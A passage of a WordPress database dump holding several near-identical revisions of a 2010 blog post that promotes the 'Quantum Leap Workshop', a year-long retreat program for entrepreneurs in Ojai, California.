width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Workshop Facilitators</strong>\r\nI’m in the process of confirming an amazing team of leaders (all successful entrepreneurs in their own right), who will share their experience and wisdom and their specific expertise to help you breakthrough! I’ll announce our leadership team when the Workshop website is live.\r\n\r\n<strong>Early Registration</strong>\r\nThe conference site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the Workshop Brochure here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to pre-register, you can send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March!</h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-11', '', '', '2010-10-07 16:47:08', '2010-10-07 23:47:08', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-11/', 0, 'revision', '', 0),
(1131, 2, '2010-10-07 16:47:26', '2010-10-07 23:47:26', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  I this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nI want you to bring your most pressing business challenges-the things that have you stuck right now– to this engaging, interactive and supportive learning environment.  Here you’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Workshop Facilitators</strong>\r\nI’m in the process of confirming an amazing team of leaders (all successful entrepreneurs in their own right), who will share their experience and wisdom and their specific expertise to help you breakthrough! I’ll announce our leadership team when the Workshop website is live.\r\n\r\n<strong>Early Registration</strong>\r\nThe conference site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the Workshop Brochure here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to pre-register, you can send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March!</h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-12', '', '', '2010-10-07 16:47:26', '2010-10-07 23:47:26', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-12/', 0, 'revision', '', 0),
(1135, 2, '2010-10-07 16:58:17', '2010-10-07 23:58:17', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  I this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March!</h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-16', '', '', '2010-10-07 16:58:17', '2010-10-07 23:58:17', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-16/', 0, 'revision', '', 0),
(1133, 2, '2010-10-07 16:54:22', '2010-10-07 23:54:22', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  I this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nI want you to bring your most pressing business challenges-the things that have you stuck right now– to this engaging, interactive and supportive learning environment.  Here you’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March!</h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-14', '', '', '2010-10-07 16:54:22', '2010-10-07 23:54:22', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-14/', 0, 'revision', '', 0),
(1134, 2, '2010-10-07 16:54:31', '2010-10-07 23:54:31', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  I this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nI want you to bring your most pressing business challenges-the things that have you stuck right now– to this engaging, interactive and supportive learning environment.  Here you’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March!</h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-15', '', '', '2010-10-07 16:54:31', '2010-10-07 23:54:31', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-15/', 0, 'revision', '', 0),
(1136, 2, '2010-10-07 16:58:42', '2010-10-07 23:58:42', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March!</h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-17', '', '', '2010-10-07 16:58:42', '2010-10-07 23:58:42', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-17/', 0, 'revision', '', 0),
(1137, 2, '2010-10-07 16:58:56', '2010-10-07 23:58:56', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March!</h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-18', '', '', '2010-10-07 16:58:56', '2010-10-07 23:58:56', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-18/', 0, 'revision', '', 0);
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(1138, 2, '2010-10-07 17:05:02', '2010-10-08 00:05:02', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  